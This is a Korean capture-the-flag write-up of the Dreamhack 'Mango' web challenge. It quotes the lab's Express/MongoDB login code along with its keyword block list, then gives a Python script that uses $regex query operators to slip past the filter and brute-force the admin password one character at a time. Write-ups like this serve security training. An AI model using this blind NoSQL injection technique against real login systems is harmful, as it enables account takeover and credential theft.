Webhacking-Write-Up/Dreamhack

[Dreamhack] Mango

SlowTurtle_ 2023. 1. 9. 20:18
728x90

[Dreamhack] Wargame - Mango

index

로그인 정보를 url에 넣어 접속하니 guest가 출력됐다.

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

코드를 확인하니 admin,dh,admi가 필터링되어 있다는 것을 알 수 있었다.

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

/login 소스를 확인해보니 필터링을 거친 후 uid와 upw에 담아서 db를 통해 id와 pw가 일치하는 유저를 찾는다.

우리는 GET으로 받는 값을을 브루트포스공격으로 참일 시 uid값을 받는 방법으로 진행할 것이다. uid가 admin일 때 pw를 하나씩 요청하면서 참인지 아닌지 구별할 것이다.

아래는 파이썬 코드를 작성한 것이다.

import requests
import string

url="http://host3.dreamhack.games:13399/login?uid[$regex]=ad...&upw[$regex]=D.{"
alphanumeric = string.ascii_letters + string.digits
flag=""


for x in range(32):
    for ch in alphanumeric:
        res=requests.get(url+flag+ch+".*")
        if(res.text=='admin'):
            flag+=ch
            print("DH{"+flag+ch+"}")
            break


print("DH{"+flag+"}")

위와 같은 flag값을 얻을 수 있다.

728x90